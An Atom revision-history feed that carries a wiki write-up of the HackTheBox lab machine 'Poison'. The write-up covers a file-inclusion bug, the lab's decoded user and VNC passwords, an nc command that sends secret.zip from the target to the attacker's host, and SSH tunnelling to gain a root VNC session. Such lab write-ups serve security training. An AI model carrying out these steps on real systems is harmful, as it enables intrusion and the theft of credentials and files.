<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FPoison</id>
	<title>Write-ups/HTB/Poison - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FPoison"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Poison&amp;action=history"/>
	<updated>2026-04-21T14:48:21Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Poison&amp;diff=1195&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 14:04, 11 March 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Poison&amp;diff=1195&amp;oldid=prev"/>
		<updated>2022-03-11T14:04:31Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Poison&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Medium&lt;br /&gt;
| techniques = LFI, VNC Tunneling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On this linux box I used a LFI vulnerability in the webserver to get a users password which was encoded 13 times with base64. After finding the password, we read /etc/password and found a username &amp;#039;&amp;#039;&amp;#039;charix&amp;#039;&amp;#039;&amp;#039;. Using that username and password I SSH into the machine. In Charix folder there was a secret.zip. After enumerating the machine I found that VNC is enabled on the machine and I port forwarded VNC to my machine. From there I used a script decrypt the password of the ZIP file. That password was used to connect to VNC as root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/poisen]&lt;br /&gt;
└─# nmap -p- -sC -sV --min-rate 10000 10.10.10.84 -oN nmap.ver&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-04 17:08 EST&lt;br /&gt;
Warning: 10.10.10.84 giving up on port because retransmission cap hit (10).&lt;br /&gt;
Nmap scan report for 10.10.10.84&lt;br /&gt;
Host is up (0.041s latency).&lt;br /&gt;
Not shown: 52213 filtered tcp ports (no-response), 13320 closed tcp ports (reset)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)&lt;br /&gt;
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)&lt;br /&gt;
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)&lt;br /&gt;
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)&lt;br /&gt;
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32&lt;br /&gt;
|_http-title: Site doesn&amp;#039;t have a title (text/html; charset=UTF-8).&lt;br /&gt;
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Only two ports open, &amp;#039;&amp;#039;&amp;#039;22 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;80. &amp;#039;&amp;#039;&amp;#039;I notice that the Apache and OpenSSH is running on &amp;#039;&amp;#039;&amp;#039;FreeBSD.&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Port 80 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220204231031.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It looks like a website to test &amp;#039;&amp;#039;&amp;#039;.php&amp;#039;&amp;#039;&amp;#039; scripts. So I type in the different .php files listed on the site.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220206215020.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
One of the files was interesting. This shows an array with files. Looking closely we can see that there is a txt file called &amp;#039;&amp;#039;&amp;#039;pwdbackup.txt. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Typing that file in the URL we get an base64 encoded text.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220206215221.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Decoding password ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the text above we can see that it is ecoded atleast 13 times. So decoding it 13 times we end up with &amp;#039;&amp;#039;&amp;#039;Charix!2#4%6&amp;amp;8(0&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220206215203.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== LFI - Reading /etc/passwd ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that we the password, we need a username. From the password we can see that the first 6 characters looks like a username. But I want to verify it. Since we know that there is an LFI vulnerability, we could try and read /etc/passwd.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220204232310.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell as Charix ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that we have a username and password we can SSH into the target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/poisen]&lt;br /&gt;
└─# ssh charix@10.10.10.84                                                                                                                                                             255 ⨯&lt;br /&gt;
Enter passphrase for key &amp;#039;/root/.ssh/id_rsa&amp;#039;:&lt;br /&gt;
(charix@10.10.10.84) Password for charix@Poison:&lt;br /&gt;
(charix@10.10.10.84) Password for charix@Poison:&lt;br /&gt;
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4&lt;br /&gt;
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017&lt;br /&gt;
&lt;br /&gt;
Welcome to FreeBSD!&lt;br /&gt;
&lt;br /&gt;
Release Notes, Errata: https://www.FreeBSD.org/releases/&lt;br /&gt;
Security Advisories:   https://www.FreeBSD.org/security/&lt;br /&gt;
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/&lt;br /&gt;
FreeBSD FAQ:           https://www.FreeBSD.org/faq/&lt;br /&gt;
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/&lt;br /&gt;
FreeBSD Forums:        https://forums.FreeBSD.org/&lt;br /&gt;
&lt;br /&gt;
Documents installed with the system are in the /usr/local/share/doc/freebsd/&lt;br /&gt;
directory, or can be installed later with:  pkg install en-freebsd-doc&lt;br /&gt;
For other languages, replace &amp;quot;en&amp;quot; with a language code like de or fr.&lt;br /&gt;
&lt;br /&gt;
Show the version of FreeBSD installed:  freebsd-version ; uname -a&lt;br /&gt;
Please include that output and any error messages when posting questions.&lt;br /&gt;
Introduction to manual pages:  man man&lt;br /&gt;
FreeBSD directory layout:      man hier&lt;br /&gt;
&lt;br /&gt;
Edit /etc/motd to change this login announcement.&lt;br /&gt;
Want to use sed(1) to edit a file in place?  Well, to replace every &amp;#039;e&amp;#039; with&lt;br /&gt;
an &amp;#039;o&amp;#039;, in a file named &amp;#039;foo&amp;#039;, you can do:&lt;br /&gt;
&lt;br /&gt;
        sed -i.bak s/e/o/g foo&lt;br /&gt;
&lt;br /&gt;
And you&amp;#039;ll get a backup of the original in a file named &amp;#039;foo.bak&amp;#039;, but if you&lt;br /&gt;
want no backup:&lt;br /&gt;
&lt;br /&gt;
        sed -i &amp;#039;&amp;#039; s/e/o/g foo&lt;br /&gt;
charix@Poison:~ %&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumerate machine ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking in Charix&amp;#039;s folder, there is a zip file called &amp;#039;&amp;#039;&amp;#039;secret.zip&amp;#039;&amp;#039;&amp;#039;. I&amp;#039;ll transfer that to my machine and analyze it. It dosent look useful to me as of now, so I&amp;#039;ll continue to enumerate the machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
charix@Poison:~ % nc 10.10.14.18 4444 -w 3 &amp;lt; secret.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/poisen]&lt;br /&gt;
└─# nc -lvnp 4444 &amp;gt; secret.zip&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.84] 42937&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/poisen]&lt;br /&gt;
└─# unzip secret.zip&lt;br /&gt;
Archive:  secret.zip&lt;br /&gt;
[secret.zip] secret password:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/poisen]&lt;br /&gt;
└─# cat sdasd&lt;br /&gt;
��[|Ֆz!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== VNC server ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at what ports are running on the machine I notice that there are two ports that didnt show up in the NMAP scan. &amp;#039;&amp;#039;&amp;#039;Port 5801 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;port 5901. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
charix@Poison:~ % netstat -a&lt;br /&gt;
Active Internet connections (including servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)&lt;br /&gt;
tcp4       0      0 *.5802                 *.*                    LISTEN&lt;br /&gt;
tcp4       0      0 *.5902                 *.*                    LISTEN&lt;br /&gt;
tcp4       0      0 *.6002                 *.*                    LISTEN&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcp4       0      0 10.10.10.84.ssh        10.10.14.18.32788      ESTABLISHED&lt;br /&gt;
tcp4       0      0 localhost.smtp         *.*                    LISTEN&lt;br /&gt;
tcp4       0      0 *.http                 *.*                    LISTEN&lt;br /&gt;
tcp6       0      0 *.http                 *.*                    LISTEN&lt;br /&gt;
tcp4       0      0 *.ssh                  *.*                    LISTEN&lt;br /&gt;
tcp6       0      0 *.ssh                  *.*                    LISTEN&lt;br /&gt;
tcp4       0      0 localhost.5801         *.*                    LISTEN&lt;br /&gt;
tcp4       0      0 localhost.5901         *.*                    LISTEN&lt;br /&gt;
udp4       0      0 *.syslog               *.*&lt;br /&gt;
udp6       0      0 *.syslog               *.*&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After some googling; the 5901 is a VNC. So I&amp;#039;ll port forward that port using SSH.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Cracking the zip file ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that we know that there is VNC running on the machine, I&amp;#039;ll use [https://github.com/trinitronx/vncpasswd.py trinitronx]&amp;#039;s script to decrypt the password of the zip file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/poisen/vncpasswd.py]&lt;br /&gt;
└─# python2 vncpasswd.py -d -f ../secret                                                                                                                                                 1 ⨯&lt;br /&gt;
Decrypted Bin Pass= &amp;#039;VNCP@$$!&amp;#039;&lt;br /&gt;
Decrypted Hex Pass= &amp;#039;564e435040242421&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell as root ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# vncviewer localhost:5901                                                                                                                                                             1 ⨯&lt;br /&gt;
Connected to RFB server, using protocol version 3.8&lt;br /&gt;
Enabling TightVNC protocol extensions&lt;br /&gt;
Performing standard VNC authentication&lt;br /&gt;
Password:&lt;br /&gt;
Authentication successful&lt;br /&gt;
Desktop name &amp;quot;root&amp;#039;s X desktop (Poison:1)&amp;quot;&lt;br /&gt;
VNC server default format:&lt;br /&gt;
  32 bits per pixel.&lt;br /&gt;
  Least significant byte first in each pixel.&lt;br /&gt;
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0&lt;br /&gt;
Using default colormap which is TrueColor.  Pixel format:&lt;br /&gt;
  32 bits per pixel.&lt;br /&gt;
  Least significant byte first in each pixel.&lt;br /&gt;
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0&lt;br /&gt;
Same machine: preferring raw encoding&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220206222405.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Sometimes clues found earlier on will be useful later on the enumeration. Dont get stuck on one thing too long, move forward and come back later after discovering new things. * Enumerating what running on the machine is important as that can lead to privilege escalation.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>